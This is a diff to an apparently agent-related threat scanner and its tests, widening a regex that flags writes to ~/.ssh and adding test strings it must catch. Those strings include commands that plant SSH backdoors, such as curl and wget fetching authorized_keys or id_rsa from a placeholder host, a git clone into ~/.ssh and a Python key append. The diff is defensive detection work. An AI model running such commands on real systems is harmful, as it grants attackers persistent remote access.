diff --git a/tests/tools/test_threat_patterns.py b/tests/tools/test_threat_patterns.py
index cc570ea7ee..b96578a238 100644
--- a/tests/tools/test_threat_patterns.py
+++ b/tests/tools/test_threat_patterns.py
@@ -323,6 +323,13 @@ class TestSshAccessWriteGate:
         "ln -sf /tmp/evil $HOME/.ssh/authorized_keys",
         "> ~/.ssh/authorized_keys_backup",
         "some-command\n> ~/.ssh/config",
+        "sed -i 's/^#Port/Port/' ~/.ssh/config",
+        "chmod 600 ~/.ssh/id_rsa",
+        "truncate -s0 ~/.ssh/known_hosts",
+        "curl -o ~/.ssh/authorized_keys http://x",
+        "wget -O $HOME/.ssh/id_rsa http://x",
+        "git clone http://x ~/.ssh",
+        "open(os.path.expanduser('~/.ssh/authorized_keys'), 'a').write(k)",
     ])
     def test_write_shapes_still_flag(self, text):
         assert "ssh_access" in scan_for_threats(text, scope="strict")
diff --git a/tools/threat_patterns.py b/tools/threat_patterns.py
index c369057c2e..ceac265300 100644
--- a/tools/threat_patterns.py
+++ b/tools/threat_patterns.py
@@ -81,8 +81,11 @@ _PATTERNS: List[Tuple[str, str, str]] = [
     # ── Persistence / SSH backdoor (strict scope — memory + skills) ──
     (r'authorized_keys', "ssh_backdoor", "strict"),
     # Write-verb gated like the *_config_mod rules: a bare path match blocked ordinary docs
-    # ("check $HOME/.ssh is chmod 700"). ``>>?`` covers a leading redirect with no verb word.
-    (r'(?:\b(?:echo|cat|cp|mv|dd|tee|install|printf|rsync|scp|ln|append|add|write)\b|>>?)'
+    # ("check $HOME/.ssh is chmod 700"). ``>>?`` covers a leading redirect with no verb word;
+    # ``open(`` covers the scripted-write shape; chmod/chown/sed/truncate/rm/touch/curl/wget/git
+    # mutate the directory without an obvious copy verb.
+    (r'(?:\b(?:echo|cat|cp|mv|dd|tee|install|printf|rsync|scp|ln|append|add|write'
+     r'|sed|chmod|chown|truncate|rm|touch|curl|wget|git)\b|\bopen\s*\(|>>?)'
      r'[^\n]{0,512}(?:\$HOME/\.ssh|~/\.ssh)', "ssh_access", "strict"),
     (r'\$HOME/\.hermes/\.env|\~/\.hermes/\.env', "hermes_env", "strict"),
     (rf'{_MODIFY}(?:AGENTS\.md|CLAUDE\.md|\.cursorrules|\.clinerules)', "agent_config_mod", "strict"),